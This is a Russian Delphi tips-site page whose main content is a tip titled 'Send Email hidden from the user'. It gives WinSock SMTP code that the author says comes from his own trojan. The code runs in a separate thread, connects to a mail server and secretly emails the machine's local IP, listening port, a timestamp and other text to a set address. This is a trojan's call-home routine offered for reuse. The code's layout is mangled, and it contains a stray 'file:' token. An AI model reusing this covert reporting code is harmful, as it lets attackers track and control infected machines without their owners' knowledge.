Как сделать калькулятор в Delphi?

Delphi - объектно-ориентированный язык программирования, разработанный компанией Borland в 1995 году. Он основан на языке программирования Pascal, но имеет более расширенные возможности и добавлены новые функции.

Как Delphi реализует многоплатформенную разработку?

Delphi является интегрированной средой разработки (IDE), которая позволяет разрабатывать программное обеспечение для различных платформ, включая Windows, macOS, Android и iOS. Delphi достигает многоплатформенности с помощью...

Отправить Email скрытно от пользователя

Советы » E-mail » Отправить Email скрытно от пользователя

Ну если не устраивает дельфовый SMTP клиент...

Вот вам кусок,написанный на WinSock API пробуйте разобраться... это будет посложнее чем компоненты от NetMasters юзать... (Все это исполнялось в отдельном трейде,не забудьте про WSAStartUp/ClenUp) (каюсь, это кусок из моего трояна :)

function

SMTPRecvReply(MailSocket: TSocket): Word; var

Buffer: array

[1..1024] of

Byte; Err: Integer; BufStr: string

; begin

BufStr := ''; Recv(MailSocket, Buffer, SizeOf(Buffer), 0); for

Err := 1 to

3 do

BufStr := BufStr + Chr(buffer[Err]); try

Result := StrToInt(BufStr); except

Result := 0; end

; end

; function

SMTPSendString(MailSocket: TSocket; Str: string

): Boolean; var

Buffer: array

[1..1024] of

Byte; Err: Integer; begin

Result := FALSE; ZeroMemory(@Buffer, SizeOf(Buffer)); if

Length(Str) > 1000 then

Exit; for

Err := 1 to

Length(Str) do

Buffer[Err] := Ord(Str[Err]); Buffer[Err] := 13; Buffer[Err + 1] := 10; Err := WinSock.send(MailSocket, buffer, Err + 1, 0); if

Err > 0 then

Result := TRUE; end

; function

SMTPConnectAndSendMail(Arg: Pointer): DWord; stdcall

; var

MailSocket: TSocket; MailSent: Boolean; MTime: TSystemTime; SMTPServer: TSockAddrIn; Step: Byte; OutOfSend: Boolean; begin

MailSent := FALSE; OutOfSend := FALSE; MailSocket := socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); ZeroMemory(@SMTPServer, SizeOf(SMTPServer)); SMTPServer.sin_family := AF_INET; SMTPServer.sin_port := htons(25); SMTPServer.sin_addr.S_addr := inet_addr(PChar(smtp)); Step := 0; if

Connect(MailSocket, SMTPServer, SizeOf(SMTPServer)) = 0 then

repeat

case

SMTPRecvReply(MailSocket) of

220: SMTPSendString(MailSocket, 'HELO server.com'); 250: case

STEP of

0: begin

SMTPSendString(MailSocket, 'MAIL FROM:' + mail); Inc(Step); end

; 1: begin

SMTPSendString(MailSocket, 'RCPT TO:' + mail); Inc(Step); end

; 2: begin

SMTPSendString(MailSocket, 'DATA'); Inc(Step); end

; 3: begin

SMTPSendString(MailSocket, 'QUIT'); Inc(Step); end

; end

; 354: begin

SMTPSendString(MailSocket, 'From:' + ServerID); SMTPSendString(MailSocket, 'To:' + UserName); SMTPSendString(MailSocket, 'Subject:' + LocalIPS + ' : ' + port + ' At ' + DateTimeToStr(Now)); SMTPSendString(MailSocket, CRLF); for

count := 1 to

(txt.Count - 1) do

SMTPSendString(MailSocket, txt[count]); SMTPSendString(MailSocket, CRLF + '.' + CRLF); end

; 221: begin

OutOfSend := True; MailSent := True end

; else

OutOfSend := True; file

: //!Case end

; until

OutOfSend; CloseSocket(MailSocket); end

; ExitThread(0); end

;

Другое по теме:

Категории

Статьи

Советы

Copyright © 2024 - All Rights Reserved - www.delphirus.com